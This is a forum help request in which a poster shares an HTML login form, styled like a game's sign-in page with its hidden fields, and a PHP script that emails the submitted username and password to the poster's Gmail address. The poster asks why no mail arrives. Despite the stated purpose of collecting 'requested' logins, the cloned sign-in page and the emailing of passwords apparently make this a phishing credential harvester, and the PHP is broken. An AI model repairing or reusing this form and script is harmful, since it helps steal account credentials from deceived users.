Jump to content

Emailing problem


smokekills

Recommended Posts

alright so I'm setting up, or at least trying to setup, a form where users can submit me their requested username/password they want to use. Now I have the form setup and everything I just can't get it to mail it to my email. What am I doing wrong?

 

<div class="section">
<div class="brown_background">
<div id="login_background" class="inner_brown_background" >
<div id="login_panel" class="brown_box" >
<form id="login_form" action="http://smokekills.net46.net/mail.php" method="post" autocomplete="off">
<div class="bottom">
<div class="repeat">
<div class="top_section">
<div id="message">
</div> <div class="section_form" id="usernameSection">
<label for="username">Login:</label>
<input size="20" type="text" name="username" id="username" />
</div>
<div class="section_form" id="passwordSection">
<label for="password">Password:</label>
<input size="20" type="password" id="password" name="password" maxlength="20"/>
</div>
</div>
<div class="bottom_section" id="bottomSection">
<div id="submit_button">
<button type="submit" value="Submit" onmouseover="this.style.backgroundPosition='bottom';" onmouseout="this.style.backgroundPosition='top';" onclick="return SetFocus();">Submit</button>
</div>
<input type="hidden" name="mod" value="www"/>
<input type="hidden" name="ssl" value="0"/>
<input type="hidden" name="dest" value="title.ws"/>
</div>
</div>
</div>
</form>
</div>

 

As you can see I have it posting it to my mail script, which is the actual php script that mails the desired information, only problem is it seems to not be working. here is my mail script,

 

<?php
$bounce = "http://example.com"; // URL for user to be sent to after submission
if($_POST['email']){
mail("animatorshall@gmail.com","Submission","Name: ".$_POST['passwordSection']."\nEmail: ".$_POST['usernameSection']);
header('Location:'.$bounce);
}
?>

 

I have it set up so once they submit their desired login information, it redirects them to a page (havnt set up that re-direction page yet) but, all it does so far is after clicking the submit button, it takes me to a white screen with the http://smokekills.net46.net/mail.php in the top browser. it doesnt send an email! what do I need to edit and re-arrange in order to get this to work? I'm terrible with php  :shrug:

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.